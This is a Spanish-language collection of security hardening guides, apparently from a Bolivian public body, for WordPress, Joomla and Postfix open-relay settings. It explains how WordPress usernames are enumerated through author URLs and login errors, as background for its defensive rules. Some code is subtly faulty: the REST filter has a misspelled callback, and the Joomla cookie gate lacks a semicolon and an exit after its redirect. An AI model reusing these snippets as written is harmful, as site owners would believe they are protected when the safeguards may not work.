Manuales y guías de seguridad
Base de conocimiento destinado a manuales y guías de seguridad acerca de la instalación y configuración segura de servicios.

Sistemas de Administración de Contenidos (CMS)
Capítulo destinado a contenido relacionado a CMSs como ser wordpress, drupal, joomla y otros

Guía de seguridad wordpress
1. Introducción 

 Wordpress es un sistema de gestión de contenido (CMS, Content Management System), que permite crear sitios web, su popularidad ha logrado que resulte muy atractivo para los “ciberatacantes”, con el fin de explotar vulnerabilidad 

 2. Asegurando Wordpress 

 Para mitigar el riesgo de ataques a Wordpress, recomendamos las siguientes buenas prácticas de seguridad. 

 2.1. Configurar el control de acceso de usuarios 

 Ingresar al panel de administración de usuarios del sitio web: https://[midominio.gob.bo]/wp-admin/users.php y eliminar a los usuarios administradores que no se usan actualmente: 

 

 2.2. Actualizar el core de Wordpress 

 Ingresar a su sitio web https://[mi-dominio.gob.bo]/wp-admin/update-core.php y hacer click en el botón “Actualizar ahora”. 

 

 2.3. Actualizar los plugins de Wordpress 

 Previamente instalar y activar el plugin WP-Rollback (https://es.wordpress.org/plugins/wp-rollback/) que será útil en caso que la actualización de algún plugin no sea exitosa. 

 Realizar un backup de la base de datos. Ingresar al sitio https://[mi-dominio.gob.bo]/wp-admin/update-core.php y seleccionar todos los plugins y presionar el botón “Actualizar plugins”. 

 

 En caso de existir un error durante el proceso de actualización, realizar un ROLLBACK (https://[mi-dominio.gob.bo]/wp-admin/plugins.php). 

 

 2.4. Habilitar actualizaciones de seguridad automáticas 

 Ingresar al panel de administración https://[mi-dominio.gob.bo]/wp-admin/plugins.php y seleccionar todos los plugins. Seleccionar la acción “habilitar actualizaciones automáticas” y ejecutar “Aplicar” 

 

 Borrar los themes no usados mediante la URL https://[mi-dominio.gob.bo]/wp-admin/themesphp 

 2.5. Deshabilitar XML-RPC 

 Wordpress tiene características para interactuar de forma remota con el sitio web, XML- RPC es una función de WordPress que permite la transmisión de datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. En la actualidad la funcionalidad del archivo xmlrpc.php ha disminuido considerablemente y su exposición y configuración insegura representa un riesgo en la seguridad del sitio web, provocando las siguientes vulnerabilidades: 

 

 Ataques de fuerza bruta. 

 Denegación Distribuida de Servicio. 

 XMLRPC pingback.ping. 

 

 

 2.5.1. Restringir el acceso al archivo xmlrpc.php 

 Para restringir el acceso al archivo xmlrpc.php en apache2, se debe editar el archivo de configuración del sitio web o mediante el archivo .htaccess agregando las siguientes líneas: 

 <files xmlrpc.php>

	order allow,deny

	deny from all

</files> 

 Después reiniciar apache: 

 systemctl restart apache2 

 2.5.2. Deshabilitar la función XML-RPC 

 Si se determina que la función XML-RPC no es necesaria, se recomienda deshabilitarla, para ello se debe editar el archivo wp-config.php y agregar la siguiente línea: 

 add_filter('xmlrpc_enabled', '__return_false'); 

 Otra opción para deshabilitar la función XML-RPC es instalando y activando el complemento “Disable XML-RPC”. 

 2.6. Enumeración de usuarios 

 Wordpress a través de su REST API puede exponer datos sensibles, como es el caso de los usuarios del sistema, si el sitio no está configurado de forma segura. 

 

 Para solucionar esta vulnerabilidad se debe actualizar a la versión 4.7.1 o posterior de Wordpress. Una opción, en caso de no hacer uso del API REST de Wordpress, es deshabilitarlo, para ello se debe agregar las siguientes líneas en el archivo de configuración de wordpress wp-config.php: 

 add_filter('rest_enabled', '_return_false');

add_filter('rest_jsonp_enabled', '_return_false'); 

 2.7. Utiliza contraseñas fuertes y seguras 

 Utiliza contraseñas complejas y únicas para todas las cuentas de usuario, especialmente para los administradores. 

 Creación de Contraseñas 

 

 Longitud : Usa contraseñas largas. Se recomienda al menos 12 caracteres, pero cuanto más larga, mejor. 

 Complejidad : Incluye una combinación de letras mayúsculas y minúsculas, números y caracteres especiales como !, @, #, $, %, etc. 

 Evita Información Personal : No uses información personal fácilmente disponible como nombres, fechas de nacimiento o números de teléfono. 

 Generación Segura : Utiliza generadores de contraseñas para crear combinaciones aleatorias y seguras. Hay herramientas en línea y aplicaciones de administración de contraseñas que pueden ayudarte con esto. 

 Almacenamiento Seguro : Usa administradores de contraseñas confiables para almacenar y gestionar contraseñas de forma segura. 

 

 En ese sentido en WordPress se debe seguir los siguientes pasos 

 

 Inicia sesión en tu panel de administración de WordPress. 

 Dirígete a "Usuarios" y luego a "Todos los usuarios". 

 Haz clic en el nombre del usuario para el cual deseas cambiar la contraseña. 

 Desplázate hacia abajo hasta la sección "Nueva contraseña". 

 Ingresa una contraseña segura o utiliza el generador de contraseñas integrado haciendo clic en "Generar contraseña". 

 Confirma la contraseña y guarda los cambios. 

 

 

 

 2.8 Implementa Autenticación de Dos Factores (2FA) : 

 Usa un plugin de 2FA para añadir una capa adicional de seguridad a las cuentas de usuario. 

 Autenticación de Dos Factores (2FA) 

 

 Segunda Capa de Seguridad : Considera habilitar la autenticación de dos factores para agregar una capa adicional de seguridad más allá de la contraseña. 

 

 Pasos para Configurar 2FA en WordPress con Google Authenticator: 

 2.8.1. Instala un Plugin de 2FA : 

 

 Dirígete a tu panel de administración de WordPress. 

 Ve a Plugins > Añadir nuevo . 

 Busca "Two Factor Authentication" o "Google Authenticator" y haz clic en Instalar ahora . 

 

 

 a. Activa el Plugin : 

 

 Después de la instalación, haz clic en Activar para activar el plugin. 

 

 b. Configura el Plugin : 

 

 Una vez activado, ve a Usuarios > Perfil . 

 Desplázate hacia abajo hasta la sección de "Autenticación de dos factores". 

 Selecciona "Habilitar la autenticación de dos factores para este usuario". 

 

 c. Configuración con Google Authenticator : 

 

 Descarga e instala la aplicación "Google Authenticator" en tu dispositivo móvil desde la tienda de aplicaciones correspondiente (iOS o Android). 

 

 d. Escanea el Código QR : 

 

 En la configuración de 2FA de tu perfil de WordPress, selecciona "Google Authenticator". 

 Abre la aplicación Google Authenticator en tu teléfono y escanea el código QR que aparece en pantalla. 

 Alternativamente, puedes introducir el código secreto manualmente si no puedes escanear el código QR. 

 

 e. Verificación : 

 

 Una vez escaneado o introducido el código, la aplicación generará códigos de verificación de seis dígitos que cambian cada 30 segundos. 

 Introduce el código de verificación generado por Google Authenticator en el campo correspondiente en tu perfil de WordPress. 

 

 f. Guarda los Cambios : 

 

 Haz clic en Actualizar perfil para guardar la configuración. 

 

 g. Probar la Autenticación de Dos Factores : 

 

 Cierra sesión en WordPress y vuelve a iniciar sesión. 

 Introduce tu nombre de usuario y contraseña como de costumbre. 

 Cuando se te solicite, abre la aplicación Google Authenticator en tu teléfono e introduce el código de verificación actual. 

 

 h. Configuración Adicional : 

 

 Algunos plugins de 2FA permiten opciones adicionales, como la entrega de códigos por correo electrónico o SMS como método secundario de autenticación. 

 

 Para aplicar a todos los usuarios de tu sitio wordpress se debe activar la opción todos los usuarios como se ve en la siguiente imagen. 

 

 

 2.9. Limita los Intentos de Inicio de Sesión 

 

 Usa un plugin como "Limit Login Attempts Reloaded" para bloquear direcciones IP después de varios intentos fallidos de inicio de sesión. 

 Instalación de un Plugin de Seguridad: 

 

 Busca y selecciona un plugin de seguridad confiable en WordPress, como " Limit Login Attempts Reloaded " 

 Instalarlo y activarlo desde el panel de administración de WordPress. 

 

 Configuración del Plugin: 

 

 Después de activar el plugin, ve a su configuración en el menú lateral de WordPress (generalmente bajo "Configuración" o "Seguridad"). 

 Encuentra la sección relacionada con la restricción de intentos de inicio de sesión. 

 

 Establecimiento de Límites y Acciones: 

 

 Define el número máximo de intentos de inicio de sesión permitidos antes de que se active la restricción (por ejemplo, 3-5 intentos). 

 Configura el tiempo de bloqueo de la dirección IP después de alcanzar el límite de intentos fallidos (por ejemplo, 15 minutos, 1 hora, etc.). 

 

 Personalización de Mensajes y Notificaciones: 

 

 Algunos plugins te permiten personalizar los mensajes mostrados a los usuarios cuando exceden el límite de intentos de inicio de sesión. 

 Configura notificaciones por correo electrónico o alertas dentro del panel de administración para informarte sobre intentos de inicio de sesión fallidos. 

 

 Prueba y Verificación: 

 

 Realiza pruebas para asegurarte de que la restricción de intentos de inicio de sesión esté funcionando según lo esperado. 

 Intenta iniciar sesión varias veces con credenciales incorrectas para verificar que se active la restricción después de alcanzar el límite establecido. 

 

 Monitoreo Continuo y Ajustes: 

 

 Monitorea regularmente los registros de inicio de sesión y las alertas de tu plugin de seguridad para detectar actividades sospechosas. 

 Ajusta la configuración según sea necesario para mantener un equilibrio entre seguridad y accesibilidad. 

 

 2.10. Cambia el Prefijo de la Base de Datos 

 

 Durante la instalación, cambia el prefijo predeterminado wp_ de la base de datos a algo único para prevenir ataques SQL. 

 Cambiar el prefijo de la base de datos en WordPress es una medida de seguridad que puede ayudar a proteger tu sitio contra ataques SQL Injection. Aquí tienes una guía paso a paso para hacerlo: 

 Realizar una Copia de Seguridad Completa: 

 

 Antes de realizar cualquier cambio en la base de datos, es crucial hacer una copia de seguridad completa de tu sitio web y de la base de datos. 

 Puedes usar plugins como UpdraftPlus, BackupBuddy, o el propio sistema de backups de tu proveedor de hosting. 

 

 Desactivar Plugins de Caché y Seguridad: 

 

 Desactiva temporalmente cualquier plugin de caché o seguridad para evitar conflictos durante el proceso. 

 

 Editar el Archivo wp-config.php : 

 

 Accede al archivo wp-config.php en el directorio raíz de tu instalación de WordPress. 

 

 Encuentra la línea que define el prefijo de la base de datos, que generalmente se ve así: Copiar código 

 $table_prefix = 'wp_'; 

 Cambia el prefijo wp_ a algo único, por ejemplo Copiar código 

 $table_prefix = 'nuevo_prefijo_'; 

 

 Actualizar el Prefijo en la Base de Datos: 

 

 Usa una herramienta como phpMyAdmin o cualquier otro administrador de bases de datos para acceder a tu base de datos de WordPress. 

 

 Ejecuta las siguientes consultas SQL para cambiar el prefijo de todas las tablas Copiar código 

 RENAME table `wp_commentmeta` TO `nuevo_prefijo_commentmeta`;

RENAME table `wp_comments` TO `nuevo_prefijo_comments`;

RENAME table `wp_links` TO `nuevo_prefijo_links`;

RENAME table `wp_options` TO `nuevo_prefijo_options`;

RENAME table `wp_postmeta` TO `nuevo_prefijo_postmeta`;

RENAME table `wp_posts` TO `nuevo_prefijo_posts`;

RENAME table `wp_terms` TO `nuevo_prefijo_terms`;

RENAME table `wp_termmeta` TO `nuevo_prefijo_termmeta`;

RENAME table `wp_term_relationships` TO `nuevo_prefijo_term_relationships`;

RENAME table `wp_term_taxonomy` TO `nuevo_prefijo_term_taxonomy`;

RENAME table `wp_usermeta` TO `nuevo_prefijo_usermeta`;

RENAME table `wp_users` TO `nuevo_prefijo_users`; 

 Actualizar las Referencias en la Base de Datos: 

 

 Algunas tablas contienen referencias al prefijo antiguo. Debes actualizar estas referencias también. Ejecuta las siguientes consultas SQL Copiar código 

 UPDATE `nuevo_prefijo_options` SET `option_name` = REPLACE(`option_name`, 'wp_', 'nuevo_prefijo_') WHERE `option_name` LIKE 'wp_%';

UPDATE `nuevo_prefijo_usermeta` SET `meta_key` = REPLACE(`meta_key`, 'wp_', 'nuevo_prefijo_') WHERE `meta_key` LIKE 'wp_%'; 

 

 

 Verificar y Probar: 

 

 Vuelve a activar los plugins de caché y seguridad. 

 Revisa que todo esté funcionando correctamente en tu sitio web. 

 Si encuentras algún problema, verifica las tablas y las referencias en la base de datos para asegurarte de que todas se han actualizado correctamente. 

 

 También se puede realizar utilizando el Plugins para cambiar el prefijo de la base de datos ayuda a reducir el riesgo de ataques automatizados que se aprovechan de la configuración predeterminada de WordPress. Esta medida, combinada con otras prácticas de seguridad, puede fortalecer significativamente la protección de tu sitio web 

 También se puede realizar mediante Plugin el cual describimos a continuación: 

 Desplegamos el Plugin  

 

 

 

 

 2.11 Oculta la Versión de WordPress : 

 Ocultar la versión de WordPress es una medida de seguridad que ayuda a proteger tu sitio de ataques dirigidos a vulnerabilidades específicas de la versión que estás utilizando. Aquí tienes una guía paso a paso para hacerlo: 

 2.11.1. Eliminar la Versión de WordPress del Código Fuente: 

 

 

 

 

 

 Por defecto, WordPress añade la versión del sitio en el código fuente del HTML. Puedes eliminar esto añadiendo un pequeño fragmento de código en tu archivo functions.php . 

 Ve al panel de administración de WordPress y navega a "Apariencia" > "Editor de temas" o accede a tu servidor mediante FTP y abre el archivo functions.php de tu tema activo. 

 

 

 

 

 

 Añade el siguiente código al archivo functions.php Copiar código 

 // Eliminar la versión de WordPress del código fuente

remove_action('wp_head', 'wp_generator'); 

 2.11.2. Ocultar la Versión de WordPress en los Feeds RSS: 

 WordPress también incluye la versión del sitio en los feeds RSS. Para eliminar esto, añade el siguiente código al archivo functions.php : Copiar códigoocultar 

 // Eliminar la versión de WordPress de los feeds RSS

function remove_wp_version_rss() {

return '';

}

add_filter('the_generator', 'remove_wp_version_rss'); 

 2.11.3. Eliminar la Versión de WordPress de los Scripts y Estilos: 

 Los scripts y estilos en WordPress a menudo tienen la versión de WordPress adjunta. Puedes eliminar esto añadiendo el siguiente código al archivo functions.php . Copiar código 

 // Eliminar la versión de WordPress de los scripts y estilos

function remove_wp_version_scripts_styles($src) {

if (strpos($src, 'ver=')) {

$src = remove_query_arg('ver', $src);

}

return $src;

}

add_filter('style_loader_src', 'remove_wp_version_scripts_styles', 9999);

add_filter('script_loader_src', 'remove_wp_version_scripts_styles', 9999); 

 Verificar la Implementación: 

 

 

 Después de realizar estos cambios, verifica que la versión de WordPress no sea visible en el código fuente de tu sitio. 

 

 

 Abre tu sitio en un navegador, haz clic derecho y selecciona "Ver código fuente de la página" (o similar según el navegador). 

 

 

 Busca cualquier mención de la versión de WordPress. Si la has eliminado correctamente, no deberías encontrarla. 

 

 

 Implementar estas medidas ayuda a reducir el riesgo de que los atacantes exploten vulnerabilidades específicas de tu versión de WordPress, aumentando así la seguridad general de tu sitio web 

 2.12. Usa HTTPS/SSL : 

 Asegúrate de que tu sitio web utiliza HTTPS instalando un certificado SSL. 

 1. Uso de Certificados SSL. 

 Aquí tienes los pasos simplificados para instalar un certificado SSL en WordPress: 

 2. Obtener un Certificado SSL: 

 

 

 

 

 Puedes obtener un certificado SSL a través de tu proveedor de hosting. Algunos proveedores ofrecen certificados SSL gratuitos a través de servicios como Let's Encrypt. 

 

 

 

 

 3. Instalar el Certificado SSL: 

 

 

 En tu panel de control de hosting, busca la sección de SSL o certificados. 

 

 

 Activa o instala el certificado SSL proporcionado por tu proveedor. Sigue las instrucciones específicas de tu proveedor de hosting para completar la instalación del certificado SSL en tu dominio. 

 

 

 

 4. Actualizar la URL de WordPress a HTTPS: 

 

 

 

 

 Inicia sesión en el panel de administración de WordPress. 

 

 

 Ve a "Ajustes" > "General". 

 

 Actualiza las direcciones URL de WordPress a HTTPS en los campos "Dirección de WordPress (URL)" y "Dirección del sitio (URL)". 

 

 

 

 5. Redireccionar HTTP a HTTPS (opcional pero recomendado): 

 

 

 

 

 

 

 Para asegurarte de que todas las páginas carguen a través de HTTPS, puedes configurar redirecciones desde HTTP a HTTPS. 

 

 

 Esto se puede hacer mediante el archivo .htaccess en Apache, o a través de la configuración del servidor si estás usando Nginx u otro servidor web. 

 

 

 

 

 

 

 Verificar el Funcionamiento del SSL: 

 

 

 Una vez configurado, verifica que tu sitio web cargue correctamente utilizando HTTPS. 

 

 

 Comprueba que no haya advertencias de seguridad y que el candado verde o el icono de seguridad se muestren en la barra de direcciones del navegador. 

 

 

 

 

 Actualizar Enlaces Internos y Contenido Mixto (si es necesario): 

 

 

 Si tu sitio web contiene enlaces internos con URLs absolutas (HTTP), actualízalos a HTTPS. 

 

 

 Verifica que no haya contenido mixto (elementos HTTP en una página HTTPS), ya que pueden causar advertencias de seguridad en los navegadores. 

 

 

 

 

 Configurar Recursos de Seguridad Adicionales (opcional): 

 

 

 Considera configurar políticas de seguridad HTTP como Content Security Policy (CSP) para mejorar la seguridad de tu sitio web. 

 

 

 Implementa encabezados HTTP estrictos para proteger contra ataques como XSS y Clickjacking. 

 

 

 

 

 2.13. Usa Google reCAPTCHA 

 Añade Google reCAPTCHA a tus formularios de inicio de sesión, registro y comentarios para evitar el spam y los intentos de inicio de sesión automatizados. 

 

 

 Instalar un Plugin de CAPTCHA: 

 

 

 

 

 Ve al panel de administración de WordPress. 

 

 

 Navega a "Plugins" > "Añadir nuevo". 

 

 

 Busca un plugin de CAPTCHA. Algunas opciones populares incluyen "reCAPTCHA by BestWebSoft", "Google Captcha (reCAPTCHA) by BestWebSoft" y "WP-reCAPTCHA". 

 

 

 Instalar y Activar el Plugin: 

 

 

 

 

 Haz clic en "Instalar ahora" junto al plugin de tu elección. 

 

 

 Una vez instalado, haz clic en "Activar". 

 

 

 Configurar el Plugin de CAPTCHA: 

 

 

 

 

 Después de activar el plugin, generalmente encontrarás una nueva opción en el menú lateral del panel de administración, como "reCAPTCHA" o "Google Captcha". 

 

 

 Navega a la página de configuración del plugin. 

 

 

 Obtener las Claves de reCAPTCHA: 

 

 

 

 

 Si estás utilizando Google reCAPTCHA, necesitarás obtener las claves del sitio y secreto desde Google reCAPTCHA. 

 

 

 Regístrate en Google reCAPTCHA con tu cuenta de Google, añade tu sitio web y obtén las claves necesarias. 

 

 

 Configurar las Claves en el Plugin: 

 

 

 

 

 Ingresa las claves del sitio y secreto en los campos correspondientes en la página de configuración del plugin. 

 

 

 Configura las opciones adicionales según tus necesidades, como en qué formularios deseas habilitar el CAPTCHA (inicio de sesión, registro, comentarios, etc.). 

 

 

 Guardar la Configuración: 

 

 

 

 

 Guarda los cambios realizados en la configuración del plugin. 

 

 

 Verificar la Implementación del CAPTCHA: 

 

 

 

 

 Visita las páginas de inicio de sesión, registro o comentarios de tu sitio web para asegurarte de que el CAPTCHA esté correctamente implementado. 

 

 

 Realiza pruebas para confirmar que el CAPTCHA está funcionando como se espera y que no afecta la usabilidad del sitio para los usuarios legítimos. 

 

 

 Monitorear y Ajustar: 

 

 

 

 

 Monitorea el rendimiento del CAPTCHA y ajusta la configuración si es necesario para mejorar la protección contra bots y spam sin afectar negativamente la experiencia del usuario. 

 

 

 2.14. Configuración de Copias de Seguridad Automáticas. 

 Instala un Plugin de Copias de Seguridad: 

 

 

 En el panel de administración de WordPress, ve a "Plugins" y luego a "Añadir nuevo". 

 

 

 Busca un plugin de copias de seguridad como UpdraftPlus, BackupBuddy o VaultPress. 

 

 

 Instala y activa el plugin elegido. 

 

 

 Configura el Plugin de Copias de Seguridad: 

 

 

 Después de activar el plugin, debería aparecer en el menú lateral de WordPress. 

 

 

 Haz clic en el nombre del plugin para acceder a su configuración. 

 

 

 Crea un Nuevo Trabajo de Copia de Seguridad: 

 

 

 Dentro del plugin, busca la opción para crear una nueva copia de seguridad o configurar un nuevo trabajo de copia de seguridad. 

 

 

 Selecciona Qué Incluir en la Copia de Seguridad: 

 

 

 Elige si deseas incluir la base de datos de WordPress, los archivos del sitio, o ambos. 

 

 

 Algunos plugins te permiten seleccionar automáticamente los archivos y la base de datos necesarios. 

 

 

 Configura la Frecuencia y Horario: 

 

 

 Define la frecuencia de las copias de seguridad automáticas (diariamente, semanalmente, mensualmente) y el horario en que deseas que se realicen. 

 

 

 Elige el Destino de la Copia de Seguridad: 

 

 

 Decide dónde almacenar las copias de seguridad. Puedes usar servicios de almacenamiento en la nube como Dropbox, Google Drive, Amazon S3, o almacenamiento local en el servidor. 

 

 

 Configura Opciones Avanzadas (si es necesario): 

 

 

 Algunos plugins ofrecen opciones avanzadas como compresión de archivos, cifrado de copias de seguridad, exclusión de archivos específicos, etc. Configura según tus necesidades. 

 

 

 Guarda y Activa el Trabajo de Copia de Seguridad: 

 

 

 Una vez configurado, guarda la configuración y activa el trabajo de copia de seguridad. Asegúrate de que esté programado según tus preferencias. 

 

 

 Prueba y Verifica: 

 

 

 Realiza una prueba inicial para asegurarte de que las copias de seguridad automáticas se están realizando correctamente. 

 

 

 Verifica que los archivos y la base de datos se estén respaldando como esperabas. 

 

 

 Monitoriza y Mantén: 

 

 

 Supervisa regularmente las copias de seguridad automáticas para asegurarte de que se estén realizando correctamente. 

 

 

 Ajusta la configuración según sea necesario para mantener la seguridad y la disponibilidad de las copias de seguridad. 

 

 

 2.15. Crea Copias de Seguridad Regularmente : 

 

 Usa plugins como UpdraftPlus o BackWPup para crear copias de seguridad regulares de tu sitio. 

 Se puede realizar mediante plugin 

 

 

 

 En la parte de ajustes dentro del plugins 

Guía de seguridad Joomla
1. Introducción 

 Joomla es un sistema de gestión de contenido (CMS, Content Management System), que permite crear sitios web, su popularidad ha logrado que resulte muy atractivo para los actores maliciosos, con el fin de explotar vulnerabilidades. 

 2. Asegurando joomla 

 Para mitigar el riesgo de ataques a Joomla, se recomiendan las siguientes buenas prácticas de seguridad. 

 2.1. Verificar parches de seguridad 

 Comprobar regularmente si hay nuevos parches de seguridad disponibles para solucionar vulnerabilidades de seguridad e instalarlos, para ello existe el complemento “Plugin Securitycheck”. A continuación se describe los pasos para el uso del Plugin Securitycheck: 

 

 Instalar el plugin siguiendo el enlace: 

 

 https://extensions.joomla.org/extension/securitycheck/ 

 

 Una vez instalado ir al menú Components→Securitycheck 

 

 

 

 Verificar vulnerabilidades en los complementos. 

 

 

 

 La columna de “Known vulnerabilities” de todos los complementos listados debe estar en estado “No”. 

 

 

 Se recomienda suscribirse a canales de seguridad oficiales de Joomla, por ejemplo: 

 

 https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions/es 

 https://developer.joomla.org/security-centre.html 

 

 Siempre debe mantener actualizado Joomla a una versión con soporte. También se recomienda que se considere actualizar las tecnologías complementarias para el uso de Joomla como es php, mysql y el sistema operativo, tomando en cuenta que estas actualizaciones sean compatibles con la versión de Joomla que utiliza, aplicando estos cambios primero en un entorno de pruebas. 

 2.2. Asegurar nombre de usuario y contraseña 

 

 No utilizar el nombre de usuario admin predeterminado. 

 Utilizar una contraseña robusta, por ejemplo, que contenga mayúsculas, minúsculas, cifras y caracteres especiales. 

 Configurar la robustez de la contraseña, para ello se debe ingresar a Users > Manage: 

 

 

 

 Seleccionar Options: 

 

 

 

 En password options establecer: 

 

 

 

 Guardar y cerrar: 

 

 

 2.3. Proteger el archivo de configuración 

 Proteger el archivo configuration.php, que se encuentra en el directorio raíz de la instalación de Joomla con apache, para impedir que se pueda editar. 

 

 Activar el módulo htaccess: 

 

 $ sudo nano /etc/apache2/apache2.conf 

 

 Buscar las líneas: 

 

 <Directory /var/www/>

	Options Indexes FollowSymLinks

	AllowOverride None

	Require all granted

</Directory> 

 Cambiar a: 

 <Directory /var/www/>

	Options FollowSymLinks

	AllowOverride All

	Require all granted

</Directory> 

 

 Reiniciar servidor de apache: 

 

 $ sudo service apache2 restart 

 

 Añadir al archivo .htaccess: 

 

 <FilesMatch “configuration.php”>

	Require all denied

</FilesMatch> 

 

 Cambiar los permisos considerando: 

 

 Archivos PHP - 644 Archivos de configuración - 644 configuration.php: 440 Otras carpetas - 755 

 2.4. Proteger el acceso al panel de administrador 

 Por defecto el panel de administrador de Joomla se encuentra en la url “/administrator” de la página. Para evitar que personas no autorizadas intenten acceder al panel de administración seguir los siguientes pasos: 

 

  Crear un directorio que únicamente conozcan los usuarios administradores del sitio web (debe recordar que el directorio miotroadm es solo un ejemplo). 

 

 $ sudo mkdir miotroadm 

 

 Crear un archivo index.php para redireccionar al panel de administración, cambiar la cookie “admin_cookie_code” por una más larga y difícil de adivinar. 

 

 

 $ cd miotroadm

$ sudo nano index.php 

 <?php

	$admin_cookie_code="1254789654258"

	setcookie("JoomlaAdminSession",$admin_cookie_code,0,"/");

	header("Location: ../administrator/index.php");

?> 

 

 Adicionar al principio del index.php del directorio “administrator” que solicite la cookie, caso contrario devolver al index.php 

 

 $ sudo nano administrator/index.php 

 if($_COOKIE['JoomlaAdminSession']!="1254789654258")

{

	setcookie('JoomlaAdminSession', null, -1, '/');

	header("Location: ../../index.php");

} 

 

 Añadir al final en el index.php del panel de administración el siguiente comando para eliminar la cookie creada. 

 

 $ sudo nano index.php 

 if ($_COOKIE['JoomlaAdminSession']!="")

{

	setcookie('JoomlaAdminSession', null, -1, '/');

} 

 2.5. Ocultar la versión de Joomla 

 Deberá deshabilitar manualmente ingresando al panel de administración de joomla: 

 Site > Global Configuration 

 Establecer en “No” la opción “Show Joomla Version”. 

 Adicionalmente, deberá eliminar la carpeta “installation” ubicada en el directorio raíz de la instalación de Joomla. 

 2.6. Activar search engine friendly (sef) 

 SEF permite hacer las URLs de Joomla más amistosas para el usuario y también dificulta a los escáneres automatizados encontrar información útil para efectuar ataques al sitio web. 

 Para activar SEF en Joomla debe acceder al panel de administración e ingresar a “Global Configuration”. 

 Establecer la opción Search Engine Friendly URLs en “Yes”: 

 

 2.7. Realizar copia de seguridad 

 Para realizar la copia de seguridad de Joomla puede utilizar el plugin Akeeba Backup. 

 

 Instalar el plugin siguiendo el enlace: 

 

 https://extensions.joomla.org/extension/akeeba-backup/ 

 

 Una vez instalado ir al menú Components>Akeeba Backup 

 

 

 

 Hacer clic en “Default Backup Profile” para sacar la copia de seguridad de Joomla. 

 

 

 

 Se despliega el proceso de backup 

 

 

 

 Los backups se muestran en Manage Backups. 

 

 

 

 Se muestra el listado de backups generados. 

 

 

 

 Establecer copias de respaldo cada cierto tiempo de acuerdo a las políticas de seguridad. 

 

  

Enumeración de Usuarios en WordPress
¿Qué es la enumeración de usuarios? 

 La enumeración de usuarios, es una forma de obtener datos de usuarios de su sitio web a través de scripts maliciosos. Aunque el pirata informático solo puede obtener los detalles del nombre de usuario con esto, sigue siendo un riesgo grave. Conocer el nombre de usuario es la mitad del trabajo realizado por un pirata informático al ejecutar un ataque de fuerza bruta. 

 Método 1: Archivos de autor 

 Quizás el método más fácil para encontrar nombres de usuario de WordPress es revisar los archivos del autor. Para enumerar nombres de usuario a través del método de archivos del autor. Para enumerar nombres de usuario a través del método de archhivos de autor, simplemente agregue un número entero (es decir: 1,2,3,etc.) como valor al parámetro "autor". Por ejemplo: 

 

 https://tusitio.com/?author=1 

 https://tusitio.com/?author=2 

 https://tusitio.com/?author=3 

 

 Estos valores luego obtendrían resultados como los siguientes: 

 

 https://tusitio.com/author/admin/ 

 https://tusitio.com/author/user2/ 

 https://tusitio.com/author/user3/ 

 

 Por lo tanto, al confundir el autor del parámetro en la URL de inicio de WordPress, se pueden enumerar varios nombres de autor. 

 Método 2: Mensajes de error 

 A veces, el atacante intenta iniciar sesión en su sitio de WordPress con un nombre de usuario aleatorio. Si el nombre de usuario existe, el mensaje de error revelará que el nombre de usuario es correcto pero la contraseña es incorrecta. De manera similar, si el nombre de usuario adivinado es incorrecto, el mensaje de error especificaría que el nombre de usuario no existe. Ahora, al utilizar el enfoque de fuerza bruta, el atacante puede enumerar nombres de usuario en función de los mensajes de error. 

 

 El mensaje de error revela el nombre de usuario como "admin" se encuentra registrado como usuario del sistema. 

 Solución a la enumeración de usuarios 

 Aplique una de las siguientes opciones para evitar la enumeración de usuarios en WordPress (preferente la opción 1): 

 1. Instalación de WP-Hardening 

 

 Instalar y activar el complemento.

 

 Ir a ‘Plugins > Add New’ en el panel de administración. 

 Buscar ‘WP-Hardening’ 

 Instalar WP-Hardening una vez que aparezca. 

 Activarlo desde su página Plugins. 

 El botón WP-Hardening aparecerá en la parte inferior izquierda de su panel de administración. 

 

 

 Ir a la pestaña 'Security Fixers' 

 Mover la tecla junto a "Stop User enumeration" 

 

 2. Editando archivos de WordPress 

 Agregando un fragmento de código al archivo functions.php o al archivo .htaccess en el nivel raíz. El archivo .htaccess debe editarse solo si desea bloquear la solicitud a nivel del servidor.  

 Método 1: Modificar el archivo functions.php. 

 

 Paso 1: Inicie sesión en el panel de administración de su servidor donde pueda acceder a los archivos. 

 Paso 2: Navegar hasta el directorio de instalación de WordPress: Ir a wp-content>themes Buscar el archivo functions.php 

 Paso 3: Abrir el archivo functions.php y copiar el siguiente código: 

 

 if (!is_admin()) {

// default URL format

if (preg_match('/author=([0-9]*)/i', $_SERVER['QUERY_STRING'])) die(); add_filter('redirect_canonical', 'shapeSpace_check_enum', 10, 2);

}

function shapeSpace_check_enum($redirect, $request) {

// permalink URL format

if (preg_match('/\?author=([0-9]*)(\/*)/i', $request)) die(); else return $redirect;

} 

 Método 2: Modificar el archivo .htaccess. 

 

 Paso 1: Iniciar sesión en el servidor como administardor. 

 Paso 2: En el administrador de archivos, busque el archivo .htaccess en la raíz de su servidor. 

 Paso 3: Abrir el archivo .htaccess y copie el siguiente código: 

 

 <IfModule mod_rewrite.c>

RewriteCond %{QUERY_STRING} ^author=([0-9]*)

RewriteRule .* https://tusitioweb.com/? [L,R=302]

</IfModule> 

 3. Eliminar los mensajes de error en páginas de inicio de sesión 

 Para eliminar los mensajes de error detallados en la ventana de wp-login, debe ingresar el siguiente código en el archivo functions.php   (Nota.- En caso de funcionar esta solución puede aplicar el código en el archivo wp-login.php ): 

 <?php

//* NO incluyas la etiqueta de apertura

// Cambia el mensaje de error de inicio de sesión en WordPress

 

function failed_login() {

 return 'Las credenciales de acceso son incorrectas.';

}

add_filter('login_errors', 'failed_login');

Servidores de correo
Capítulo destinado a contenido sobre instalación y configuración segura de servidores de correo

Configurar envíos no autorizados de correos (Open Relay)
Se entiende como "open relay"  un servidor SMTP configurado de tal manera que permite que cualquier usuario de Internet lo use para enviar correo electrónico a través de él. 

 

 1. Servidor de correo no configurado de manera segura 

 1.1. Comprobar si nuestro servidor es un "open relay" 

  Podemos comprobar si nuestro servidor es un  "open relay" (a correos internos) con la siguiente herramienta: http://www.dnsexit.com/Direct.sv?cmd=testMailServer 

 

 Podemos comprobar si nuestro servidor es un  "open relay" (a correos externos): https://mxtoolbox.com/SuperTool.aspx 

 

 1.2. Deshabilitando Open Relay (Postfix 3.x en Debian 9) 

 En  el archivo /etc/mail/main.cf  

 Declaran los dominios a los que se autorizará mandar mensajes a través de nuestro servidor: 

 relay_domains = mientidad.com 

 Configurar la lista de direcciones IPs que pueden mandar correos. (Típicamente solo la IP del servidor de correos): 

 mynetworks = 192.168.40.2/32 

 2. Servidor DNS no configurado de manera segura 

